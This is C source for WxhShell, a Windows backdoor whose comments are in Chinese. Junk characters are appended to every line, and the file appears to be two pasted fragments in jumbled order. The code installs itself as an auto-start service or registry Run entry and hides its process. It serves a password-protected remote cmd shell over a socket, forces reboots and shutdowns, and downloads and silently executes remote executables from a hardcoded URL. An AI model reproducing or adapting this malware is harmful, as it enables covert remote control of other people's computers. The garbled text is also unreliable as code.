    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (2UA,  
    if(Boot(SHUTDOWN)) NY|hE@{2.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >~_z#2PA  
    else { `@ny!S|1/  
    closesocket(wsh); Kg`P@  
    ExitThread(0); 9WI5\`*"  
    } +s^nT{B@\  
    break; ,4Q8r:_ u  
    } 2|ej~}Y  
  // 获取shell q"EW*k+ )  
  case 's': { e N v\ZR1  
    CmdShell(wsh); O p1TsRm5L  
    closesocket(wsh); Uz~B`  
    ExitThread(0); Kwi+}B!  
    break; UA4c4~$S  
  } @ qi|}($  
  // 退出 )O5@R  
  case 'x': { :{4C2qK>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (H"{r  
    CloseIt(wsh);  q*94vo-  
    break; $41<ldJ  
    } "?<(-,T  
  // 离开 /GX>L)  
  case 'q': { ^4NRmlb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .)=*Yr M  
    closesocket(wsh); :aBm,q9i:}  
    WSACleanup(); TQb@szp:|  
    exit(1); rIb~@cR)  
    break; y4l-o  
        } +~ Hb}0ry  
  } V^4v`}Wgx  
  }  ;u [:J  
$-u c#57  
  // 提示信息 ^M%P43  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (>E/C^Tc%  
} ^$}O?y7O  
  } k`&FyN^)  
}V*?~.R  
  return; `Tf}h8*  
} ` &bF@$((  
kvuRT`/  
// shell模块句柄 6212*Z_Af  
int CmdShell(SOCKET sock) 'n>44_7L  
{ l0;u$  
STARTUPINFO si; ]uF7HX7F  
ZeroMemory(&si,sizeof(si)); E_I-.o|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pJs`/   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vq.o;q /  
PROCESS_INFORMATION ProcessInfo; KC"&3  
char cmdline[]="cmd"; ~(-1mB,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v#d(Kj  
  return 0; ~JNE]mg  
} MgJ5FRQ  
_KKux3a  
// 自身启动模式 F(zCvT   
int StartFromService(void) ju3@F8AI  
{ :*BN>*1^\r  
typedef struct :3XvHL0rx  
{ _'1 7C /  
  DWORD ExitStatus; Z,SV9 ~M  
  DWORD PebBaseAddress; F_g(}wE# q  
  DWORD AffinityMask; ]n>9(Mp!M  
  DWORD BasePriority; s,f2[6\Y  
  ULONG UniqueProcessId; ms;zC/  
  ULONG InheritedFromUniqueProcessId; ]kx<aQ^  
}   PROCESS_BASIC_INFORMATION; ']fyD3N  
S.Kcb=;"L  
PROCNTQSIP NtQueryInformationProcess; j,;f#+O`g  
SXYwhID=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &WLN   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R9^vAS4t[O  
H\n6t-l  
  HANDLE             hProcess; DTuco9yr[  
  PROCESS_BASIC_INFORMATION pbi; EC0B6!C&7  
;dMr2y`6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jA;b2A]G  
  if(NULL == hInst ) return 0; ezbk@no  
-,YI>!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DBHHJD/q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); QI U%!9Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rqiH!R  
rp dv{CUp7  
  if (!NtQueryInformationProcess) return 0; rPBsr<k#5  
);AtFP0Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E2dS@!]V  
  if(!hProcess) return 0; lhJY]tQt/  
t#_6GL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f4*(rX  
)m3emMO2  
  CloseHandle(hProcess); Q:7P /  
<*z'sUh+}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A^6z.MdYZ  
if(hProcess==NULL) return 0; wBg?-ji3<  
{d'B._#i  
HMODULE hMod; ?lgE9I]  
char procName[255]; =WI3#<vDG  
unsigned long cbNeeded; X_nbNql  
Oi& 9FS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Sin)]zG~0  
HJJ)DE7;  
  CloseHandle(hProcess); xi.?@Lff  
#:yAi_Ct  
if(strstr(procName,"services")) return 1; // 以服务启动 N#jUqm  
COm^ ti-p  
  return 0; // 注册表启动 3!@& 7@p  
} @HB=h N  
rA8NE>  
// 主模块 #K@!jh)y^  
int StartWxhshell(LPSTR lpCmdLine) 5wh(Qdib  
{ FZ<6kk4  
  SOCKET wsl; ## vP(M$  
BOOL val=TRUE; .pe.K3G &  
  int port=0; *y|w9 r p  
  struct sockaddr_in door; 9[*P`*&  
3hBYx@jTO  
  if(wscfg.ws_autoins) Install(); RrrlfFms  
0Bp0ScE|FA  
port=atoi(lpCmdLine); 7Dl^5q.|  
)BI%cD  
if(port<=0) port=wscfg.ws_port; |0u qW1  
{wt9/IlG1  
  WSADATA data; Gdx %#@/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .Wp(@l'Hd  
| B$JX'_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *gGw/jA/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Lw^%<.DM+t  
  door.sin_family = AF_INET; ^t<L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rfQs 7S;G  
  door.sin_port = htons(port); g0a!auWM  
WuF\{bUh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K*'AjT9wX+  
closesocket(wsl); NcwUK\  
return 1; XPq`; <G  
} oa7 N6  
5syzh S  
  if(listen(wsl,2) == INVALID_SOCKET) { ASMItT  
closesocket(wsl); -:L7iOzgD  
return 1; PIFZ '6gn  
} R6>*n!*D@  
  Wxhshell(wsl); &1=,?s]&  
  WSACleanup(); v6aMYmenBH  
X=6L-^ o)  
return 0; hHcevSr  
~e,K  
} Vu~fF@ |  
C'l\4ij)7  
// 以NT服务方式启动 j+/EG^*/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -~\7ZRP8  
{ 54TWFDmGi  
DWORD   status = 0; ;YQ6X>  
  DWORD   specificError = 0xfffffff; Yu&\a?]\2  
FU}- .Ki  
  serviceStatus.dwServiceType     = SERVICE_WIN32; QJkiu8r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Gb Mu;CA  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2y8FP#  
  serviceStatus.dwWin32ExitCode     = 0; ;9=4]YZt  
  serviceStatus.dwServiceSpecificExitCode = 0; G+C{_o#3  
  serviceStatus.dwCheckPoint       = 0; Ssa/;O2  
  serviceStatus.dwWaitHint       = 0; ^dxy%*Z/  
5qqU8I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "4smW>f:%  
  if (hServiceStatusHandle==0) return; e 1bV&  
o 0b\<}  
status = GetLastError(); @N> rOA  
  if (status!=NO_ERROR) 2e ~RM2PQ  
{ HQ4WunH2Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; AC fhy[,  
    serviceStatus.dwCheckPoint       = 0; WYCDEoqU2  
    serviceStatus.dwWaitHint       = 0; D,-L!P  
    serviceStatus.dwWin32ExitCode     = status; ;tD?a7  
    serviceStatus.dwServiceSpecificExitCode = specificError; EmP2r*"rb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }!s$ / Kn  
    return; [ CU8%%7  
  } 1_}k)(n  
ih:%U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,<OS: ]  
  serviceStatus.dwCheckPoint       = 0; Wk-. dJ  
  serviceStatus.dwWaitHint       = 0; ND 8;1+3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b_~KtMO  
} ' e x/IqbK  
T[0CD'|E  
// 处理NT服务事件,比如:启动、停止 l$!NEOK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =<= [E:B  
{ )In;nc  
switch(fdwControl) .J5or  
{ ?f:\&+.&  
case SERVICE_CONTROL_STOP: j=>WWlZ  
  serviceStatus.dwWin32ExitCode = 0; e<Oz%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V-i:t,*lk(  
  serviceStatus.dwCheckPoint   = 0; kwt;pxp i  
  serviceStatus.dwWaitHint     = 0; ?0s&Kz4B  
  { SnO,-Rg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qej<(:J5  
  } J/vcP  
  return; EJaO"9 (  
case SERVICE_CONTROL_PAUSE: Gn10)Uf8X  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; A#79$[>w  
  break; N *n?hN  
case SERVICE_CONTROL_CONTINUE: ><6g-+*k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bV@5B#] 2R  
  break; 2fUz}w (  
case SERVICE_CONTROL_INTERROGATE: oX/#Mct{s  
  break; 6XeqK*r*  
}; O} lqY?0*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a9nXh6  
} 0R,Y[).U  
sD<8-n  
// 标准应用程序主函数 jLul:* L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .7#04_aP  
{ LA837%)  
C9T- 4o1  
// 获取操作系统版本 gD6BPW~0  
OsIsNt=GetOsVer(); a4!6K  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -32.g \]  
+G!;:o  
  // 从命令行安装 )#cGeP A  
  if(strpbrk(lpCmdLine,"iI")) Install(); _Q\u-VN*hv  
><;.vP  
  // 下载执行文件 QlxlT$o}  
if(wscfg.ws_downexe) { w{ x=e  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  YwB\kN  
  WinExec(wscfg.ws_filenam,SW_HIDE); t4iV[xl3F  
} j7Lw( AJ  
lG X_5R  
if(!OsIsNt) { v[?eL0Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 *_yp]z"  
HideProc(); h"Q&E'0d  
StartWxhshell(lpCmdLine); S#7.y~e\  
} =G<S!qW  
else aw0xi,Jz  
  if(StartFromService()) akA C^:F  
  // 以服务方式启动 *:,7 A9LY  
  StartServiceCtrlDispatcher(DispatchTable); zhde1JE  
else r\{; ~V  
  // 普通方式启动 &nF7CCF  
  StartWxhshell(lpCmdLine); K<Y-/t  
7R om#Kl:  
return 0;  _$4vk  
} }EHmVPe  
DfP vi1  
+ f?xVW<h  
gMZ?MG  
=========================================== 4,R1}.?BzJ  
.gHL(*1P  
;0\  
j2{ '!  
%OsV(7  
-U_<:  
" YJrZ  
jvos)$;L-  
#include <stdio.h> )kNyl@m  
#include <string.h> %(wa~:m+S-  
#include <windows.h> qdVExO&  
#include <winsock2.h> L~(`zO3f  
#include <winsvc.h> v~>4c<eG  
#include <urlmon.h> &+t,fwlM  
>@d=\Kyu  
#pragma comment (lib, "Ws2_32.lib") *gzX=*;x+?  
#pragma comment (lib, "urlmon.lib") 7":0CU% %  
Ib8xvzR6I&  
#define MAX_USER   100 // 最大客户端连接数 g8w5X!Z  
#define BUF_SOCK   200 // sock buffer b$)XS  
#define KEY_BUFF   255 // 输入 buffer yq>3IS4O  
MA:8g D  
#define REBOOT     0   // 重启 Z$5@r2d)  
#define SHUTDOWN   1   // 关机 E>?T<!r~j  
Tp/+{|~  
#define DEF_PORT   5000 // 监听端口 )zVD!eG_9  
5 gbJTh<JU  
#define REG_LEN     16   // 注册表键长度 n.Q?@\}2  
#define SVC_LEN     80   // NT服务名长度 Y 1vSwS%{T  
]"M4fA  
// 从dll定义API 6*2z^P9FRj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I6FglVQ6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); N5[fw z w  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); } Pc6_#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &wZ:$lK#o  
p,9eZUGy  
// wxhshell配置信息 fXYg %  
struct WSCFG { <%Re!y@OL  
  int ws_port;         // 监听端口 TNV#   
  char ws_passstr[REG_LEN]; // 口令 Si]8*>}-B  
  int ws_autoins;       // 安装标记, 1=yes 0=no Fu(I<o+T-  
  char ws_regname[REG_LEN]; // 注册表键名 asI:J/%+2  
  char ws_svcname[REG_LEN]; // 服务名 u37@9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =jmn  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ghiFI<)VY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wLC|mByq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A`Bg"k:D  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .HG0%Vp  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,Tyh._sa  
~Hs a6F&F  
}; ~z!U/QR2  
_, ;c2  
// default Wxhshell configuration !W8'apG&[  
struct WSCFG wscfg={DEF_PORT, rf8`|9h"7  
    "xuhuanlingzhe", {E`f(9r:  
    1, s?5(E}  
    "Wxhshell", /\_ s  
    "Wxhshell", #f@sq5pTO  
            "WxhShell Service", z>hG'  
    "Wrsky Windows CmdShell Service", ?ei7jM",  
    "Please Input Your Password: ", QSy=JC9  
  1, /cDla5eej  
  "http://www.wrsky.com/wxhshell.exe", ` oYrW0Vm  
  "Wxhshell.exe" 8<6;X7<-  
    }; */RtN`dh  
|k> _ jO  
// 消息定义模块 :nw4K(:f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; avk0pY(n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; W!z=AL{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; f?_H02j`/E  
char *msg_ws_ext="\n\rExit."; nlK"2/W  
char *msg_ws_end="\n\rQuit."; -`B|$ W  
char *msg_ws_boot="\n\rReboot..."; O- &>Dc  
char *msg_ws_poff="\n\rShutdown..."; pXCmyLQ  
char *msg_ws_down="\n\rSave to "; 8fJ- XFK$:  
dd>stp   
char *msg_ws_err="\n\rErr!"; :\48=>  
char *msg_ws_ok="\n\rOK!"; !K1[o'o#  
#G^?4Z a  
char ExeFile[MAX_PATH]; 'LR5s[$j  
int nUser = 0; }dE0WJcO  
HANDLE handles[MAX_USER]; FbHk6(/)  
int OsIsNt; *}0g~8Gp  
R b6` k^  
SERVICE_STATUS       serviceStatus; %Sfew/"R0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hHdH#-O:4"  
h4S,(*V$!  
// 函数声明 (J~n|hA2/D  
int Install(void); A3bE3Fk$  
int Uninstall(void); a! P?RbW  
int DownloadFile(char *sURL, SOCKET wsh); TgVvp0F;  
int Boot(int flag); b4s.`%U  
void HideProc(void); RpR;1ktF>  
int GetOsVer(void); izow=}  
int Wxhshell(SOCKET wsl); Dw?nf  
void TalkWithClient(void *cs); 7 rOziKZ"  
int CmdShell(SOCKET sock); <`b)56v:+  
int StartFromService(void); U*=ebZno  
int StartWxhshell(LPSTR lpCmdLine); zN {'@B  
gz-}nCSi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y+sycdq  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c63DuHA*C  
Y|g8xkI}XB  
// 数据结构和表定义 '$PiyM|V  
SERVICE_TABLE_ENTRY DispatchTable[] = Qhsh{muw(  
{ /A4zR  
{wscfg.ws_svcname, NTServiceMain}, 4E}/{1  
{NULL, NULL} 9#iu#?*B  
}; diGPTV-?$  
 =h\,-8  
// 自我安装 ;dNKe.`Dg  
int Install(void) cRK1JxU  
{ [GX5jD#  
  char svExeFile[MAX_PATH]; JV Fn=Mw  
  HKEY key; _1 f!9ghT\  
  strcpy(svExeFile,ExeFile); \SS1-UbL  
<|~X,g;f  
// 如果是win9x系统,修改注册表设为自启动 <l(LQmM;  
if(!OsIsNt) { U`D/~KJ{Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q<yp6Q3^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8/x@|rjW  
  RegCloseKey(key); #7+oM8b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 34Q l7LQp[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AF>J8V  
  RegCloseKey(key); fn(KmuNA  
  return 0; |[;9$Vn  
    } 0p :FAvvNI  
  } Ua)ARi %  
} B)O{+avu  
else { <V#9a83JP  
Tf) qd\  
// 如果是NT以上系统,安装为系统服务 9sifc<za  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "m.jcKt  
if (schSCManager!=0) iVLfAN @  
{ r'#5ncB  
  SC_HANDLE schService = CreateService r1yz ?Y_P  
  ( HP^<2?K  
  schSCManager, $rv&!/}]e  
  wscfg.ws_svcname, ;z/Z(7<; ;  
  wscfg.ws_svcdisp, ;tP-#Xf  
  SERVICE_ALL_ACCESS, x4Mq{MrWp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +*]"Yo~]}  
  SERVICE_AUTO_START, 0qqk:h  
  SERVICE_ERROR_NORMAL, BMkN68q  
  svExeFile, @k>}h\w  
  NULL, %{WS7(si  
  NULL, 9}p?h1NrY  
  NULL, [QEV6 S]  
  NULL, \wEHYz  
  NULL HKbyi~8N=  
  ); m-4P*P$X  
  if (schService!=0) 1%68Pnqk  
  { c! vtQ<h-  
  CloseServiceHandle(schService); tAO,s ZW  
  CloseServiceHandle(schSCManager); U1}-]^\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +Kw:z?  
  strcat(svExeFile,wscfg.ws_svcname); }lt5!u~}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GKTt!MK  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N"1o> !  
  RegCloseKey(key); d(9ZopJrQ  
  return 0; y_boJ  
    }  L_3Ao'SA  
  } UKV0xl  
  CloseServiceHandle(schSCManager); YEH /22  
} Z:9xf:g *  
} o{7wPwQ;*  
],#Xa.r  
return 1; Y S/x;  
} Hd]o?q\  
.\XFhOsa  
// 自我卸载 viB'ul7o  
int Uninstall(void) A?i ~*#wE  
{ `Y>'*4a\  
  HKEY key; *:S_v.Y3"  
vqO d`_)  
if(!OsIsNt) { DSjEoWj   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R8LJC]6Bh  
  RegDeleteValue(key,wscfg.ws_regname); ovm109fTx  
  RegCloseKey(key); fUj[E0yOF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dt&m YSZ}  
  RegDeleteValue(key,wscfg.ws_regname); P/i{_r  
  RegCloseKey(key); vZMb/}-o  
  return 0; Q*4{2oQ  
  } )E9[=4+*C$  
} UMtnb:ek  
}  ac  
else { 8J|2b; Vf  
O|%03q(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x*>@knP<-  
if (schSCManager!=0) Qw>~] d,Z  
{ c12mT(+-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !r\u,l^  
  if (schService!=0) >TI/W~M  
  { r@")MOGc  
  if(DeleteService(schService)!=0) { (;\" K?  
  CloseServiceHandle(schService); [$\KS_,Mn  
  CloseServiceHandle(schSCManager); B&:9uPRzZ  
  return 0; WH|TdU$V  
  } u}I-#j)wap  
  CloseServiceHandle(schService); O-P'Ff"}t  
  } Td,2.YMQ  
  CloseServiceHandle(schSCManager); zF: :?L~  
} M%&1j >d  
} EzII!0 F  
0?V{u`*  
return 1; 0zQ~'x  
} 7R5m|h`M  
a]H&k$!c  
// 从指定url下载文件 ^IQtXae6M  
int DownloadFile(char *sURL, SOCKET wsh) DVJuX~'|!  
{ gq%U5J"x;J  
  HRESULT hr; ^wass_8  
char seps[]= "/"; qwhDv+o  
char *token; mVXwU](N  
char *file; R+sv?4k  
char myURL[MAX_PATH]; p1F{ v^  
char myFILE[MAX_PATH]; y{>T['"@  
S\76`Ot  
strcpy(myURL,sURL); u~rPqBT{d3  
  token=strtok(myURL,seps); Q|KD$2rB  
  while(token!=NULL) c,>y1%V*S{  
  { {L'uuG\9U  
    file=token; 3~q#P   
  token=strtok(NULL,seps); B*Z}=$1j  
  } !NqLBrcv0  
&=f] a  
GetCurrentDirectory(MAX_PATH,myFILE); &/m0N\n?  
strcat(myFILE, "\\"); ^%5 ;Sc1V  
strcat(myFILE, file); _tlr8vL  
  send(wsh,myFILE,strlen(myFILE),0); 6~34L{u  
send(wsh,"...",3,0); d+qeZGg^A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /,d]`N!  
  if(hr==S_OK) c T21  
return 0; f;D(X/"f]  
else @\U;?N~k  
return 1; a``/x_EZMn  
5J-slNNCQ  
} |@W|nbAfX  
SA{noM  
// 系统电源模块 .R^R32ln  
int Boot(int flag) QXI#gA  =  
{ q}P UwN6  
  HANDLE hToken; _xsHU`(J#  
  TOKEN_PRIVILEGES tkp; OYyF*F&S[  
C5,\DdCX,  
  if(OsIsNt) { ,NAwSmocVP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3>>Ca;>$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KzZfpdI92  
    tkp.PrivilegeCount = 1; ilRPV'S^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /'4]"%i%3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -e\OF3 Td  
if(flag==REBOOT) { '}l7=r   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  o,rK8x  
  return 0; <=~*`eWV  
} t/lQSUip  
else { -{2Vz[[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XqLR2 d  
  return 0; ,UYe OM2Ao  
} 63`5A3rii  
  } `#*`hH8  
  else { "M;[c9  
if(flag==REBOOT) { &t U&ZH  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) '2qbIYanh  
  return 0; [_`<<!u>-  
} AvVPPEryal  
else { v65]$%F?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) lFp:F5  
  return 0; vYybQ&E/  
} FwE<_hq//  
} v4qpE!W27~  
:x,dYJm  
return 1; dUQ )&Hv  
} Bx/)Sl@  
e/uLBZ  
// win9x进程隐藏模块 }#q0K  
void HideProc(void) DzbcLg%:W  
{ Xz?7x0)Z  
!q~f;&rg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1! j^  
  if ( hKernel != NULL ) hzk4SOT(  
  { !<&To  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]n! oa  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u+9)B 6O1  
    FreeLibrary(hKernel); 6<%b}q9Mo  
  } ~Qd|.T  
RDU 'l^  
return; HBNX a  
} HXN. ,[  
vA{DF{S 4  
// 获取操作系统版本 aI>F8R?  
int GetOsVer(void) !gL1  
{ G?^w <  
  OSVERSIONINFO winfo; z5_jx&^Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G%junS'zt  
  GetVersionEx(&winfo); as73/J6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ujn7DBE"  
  return 1; 6P T)  
  else Xyu0n p;@  
  return 0; y:  ]  
} |.b&\  
nf-6[dg  
// 客户端句柄模块 tb>Q#QB&u  
int Wxhshell(SOCKET wsl) F=?GV\Tw  
{ "!Nu A  
  SOCKET wsh; _&N:%;9uD  
  struct sockaddr_in client; ^?: Az  
  DWORD myID; 2q UX"a4  
u/CR7Y  
  while(nUser<MAX_USER) >[N6_*K]  
{ _PLZ_c:O  
  int nSize=sizeof(client); e< G[!m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =eR#]d  
  if(wsh==INVALID_SOCKET) return 1; Ax 4R$P.]u  
T-\q3X|y/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v+i==vxg  
if(handles[nUser]==0) ?k=)T]-}  
  closesocket(wsh); ? <w[ZWytm  
else 'JO}6 ;W  
  nUser++; S"fqE%  
  } #sv:)p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J[UTn'M8]  
<vzU}JA\  
  return 0; =I9hGj6  
} XM3~]  
(SCZ.G(>  
// 关闭 socket BwYR"  
void CloseIt(SOCKET wsh) H? %I((+  
{ bo??9 1B^7  
closesocket(wsh); "HLh3L~  
nUser--; t Kjk<  
ExitThread(0); uG/b Cb+V  
} KkJE-k*D+w  
ug/P>0  
// 客户端请求句柄 Ko!a`I2M}  
void TalkWithClient(void *cs) ]E*xn  
{ ;[7#h8  
cef:>>6_  
  SOCKET wsh=(SOCKET)cs; <899r \  
  char pwd[SVC_LEN]; F)50 6  
  char cmd[KEY_BUFF]; SbobXTbG  
char chr[1]; Wt=%.Y( x  
int i,j; SwO8d;e  
:2lM7|@/  
  while (nUser < MAX_USER) { EkOn Rm_hn  
dCWq~[[  
if(wscfg.ws_passstr) { T2to!*T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SIzA0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >?{> !#1  
  //ZeroMemory(pwd,KEY_BUFF); orEb+  
      i=0; o{7w&Pgs2  
  while(i<SVC_LEN) { cr!sq.)s  
j[=P3Z0q  
  // 设置超时 F3nPQw{;  
  fd_set FdRead; "77l~3  
  struct timeval TimeOut; 2bf#L?5g/  
  FD_ZERO(&FdRead); Ut(BQM>U+$  
  FD_SET(wsh,&FdRead); S+pm@~xe  
  TimeOut.tv_sec=8; =]L#v2@  
  TimeOut.tv_usec=0; |vj!,b88n#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c;'7o=rr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I^O`#SA(  
^izf&W.j!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?`B6I!S0[  
  pwd=chr[0]; +7t:/_b~  
  if(chr[0]==0xd || chr[0]==0xa) { )IuwI#pm  
  pwd=0; Lf,C5 0  
  break; 3UcOpq2i\  
  } UvGX+M,z'  
  i++; CasFj9,  
    } ,*wj~NE  
tY?evsVgz  
  // 如果是非法用户,关闭 socket 6}_J;g\|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Bn Nu/02.=  
} ]Wc 2$  
>;X^+JH!)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7v(<<>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wHErF #xo  
z6OJT6<'  
while(1) { !M k]%  
Z?'?+48xv4  
  ZeroMemory(cmd,KEY_BUFF); l 4cTN @E  
6 wD  
      // 自动支持客户端 telnet标准   Eqh&<]q  
  j=0; +B OuU#  
  while(j<KEY_BUFF) { .:;#[Z{-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z15b'^)?9  
  cmd[j]=chr[0]; 4hV~ ir  
  if(chr[0]==0xa || chr[0]==0xd) { ulXe;2  
  cmd[j]=0; lJ<( mVt  
  break; N4, !b_1  
  } )eWg2w]  
  j++; YifTC-Q;  
    } 1<f,>BQ+  
^^(4xHN  
  // 下载文件 Xx=.;FYk  
  if(strstr(cmd,"http://")) { GnW_^$Fs  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3q1u9`4;  
  if(DownloadFile(cmd,wsh)) V7>{,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <V*M%YWs  
  else ;<v9i#K5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5,?Au  
